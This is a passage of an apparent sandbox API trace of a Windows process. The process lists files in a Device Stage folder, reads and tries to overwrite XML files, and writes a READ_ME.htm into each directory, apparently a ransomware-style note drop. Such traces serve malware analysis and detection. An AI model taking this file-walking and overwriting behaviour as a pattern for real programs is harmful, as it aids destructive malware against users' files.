ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0141.337] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.337] SetErrorMode (uMode=0x0) returned 0x1 [0141.337] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x55 [0141.338] SetErrorMode (uMode=0x1) returned 0x0 [0141.338] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.338] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.338] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0141.338] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0141.339] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0141.339] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0141.339] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f6d18c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.339] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0141.339] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0141.339] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0141.340] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0141.340] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0141.340] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0141.340] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0141.340] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.341] SetErrorMode (uMode=0x0) returned 0x1 [0141.341] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x62 [0141.341] SetErrorMode (uMode=0x1) returned 0x0 [0141.341] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0141.341] GetFileType (hFile=0x1d0) returned 0x1 [0141.341] SetErrorMode (uMode=0x0) returned 0x1 [0141.342] GetFileType (hFile=0x1d0) returned 0x1 [0141.342] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x536 [0141.342] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a14688, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x2a14688*, lpNumberOfBytesRead=0x21d298*=0x536, lpOverlapped=0x0) returned 1 [0141.343] CloseHandle (hObject=0x1d0) returned 1 [0141.415] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x62 [0141.415] SetErrorMode (uMode=0x1) returned 0x0 [0141.415] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0141.419] SetErrorMode (uMode=0x0) returned 0x1 [0141.419] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0141.420] SetErrorMode (uMode=0x1) returned 0x0 [0141.420] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0141.420] GetFileType (hFile=0x1d0) returned 0x1 [0141.420] SetErrorMode (uMode=0x0) returned 0x1 [0141.420] GetFileType (hFile=0x1d0) returned 0x1 [0141.420] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x3473 [0141.420] ReadFile (in: hFile=0x1d0, lpBuffer=0x28f8888, nNumberOfBytesToRead=0x3473, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x28f8888*, lpNumberOfBytesRead=0x21d298*=0x3473, lpOverlapped=0x0) returned 1 [0141.422] CloseHandle (hObject=0x1d0) returned 1 [0141.495] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5f [0141.495] SetErrorMode (uMode=0x1) returned 0x0 [0141.495] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0141.498] SetErrorMode (uMode=0x0) returned 0x1 [0141.499] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x5b [0141.499] SetErrorMode (uMode=0x1) returned 0x0 [0141.500] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.500] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.500] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f6d18c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.500] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0141.501] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0141.501] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.501] SetErrorMode (uMode=0x0) returned 0x1 [0141.501] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x5b [0141.502] SetErrorMode (uMode=0x1) returned 0x0 [0141.502] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f6d18c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.502] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0141.503] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932b6af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x932b6af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0141.503] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.503] SetErrorMode (uMode=0x0) returned 0x1 [0141.503] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0141.503] SetErrorMode (uMode=0x1) returned 0x0 [0141.503] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0141.504] GetFileType (hFile=0x1d0) returned 0x1 [0141.504] SetErrorMode (uMode=0x0) returned 0x1 [0141.504] GetFileType (hFile=0x1d0) returned 0x1 [0141.504] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x536 [0141.504] ReadFile (in: hFile=0x1d0, lpBuffer=0x29efa48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x29efa48*, lpNumberOfBytesRead=0x21d1d8*=0x536, lpOverlapped=0x0) returned 1 [0141.505] CloseHandle (hObject=0x1d0) returned 1 [0141.696] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0141.696] SetErrorMode (uMode=0x1) returned 0x0 [0141.697] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0141.712] SetErrorMode (uMode=0x0) returned 0x1 [0141.728] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\READ_ME.htm", lpFilePart=0x0) returned 0x67 [0141.728] SetErrorMode (uMode=0x1) returned 0x0 [0141.728] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.729] GetFileType (hFile=0x1d0) returned 0x1 [0141.729] SetErrorMode (uMode=0x0) returned 0x1 [0141.729] GetFileType (hFile=0x1d0) returned 0x1 [0141.729] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d7f68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28d7f68*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0141.730] CloseHandle (hObject=0x1d0) returned 1 [0141.730] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\READ_ME.htm", lpFilePart=0x0) returned 0x61 [0141.730] SetErrorMode (uMode=0x1) returned 0x0 [0141.730] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.730] GetFileType (hFile=0x1d0) returned 0x1 [0141.730] SetErrorMode (uMode=0x0) returned 0x1 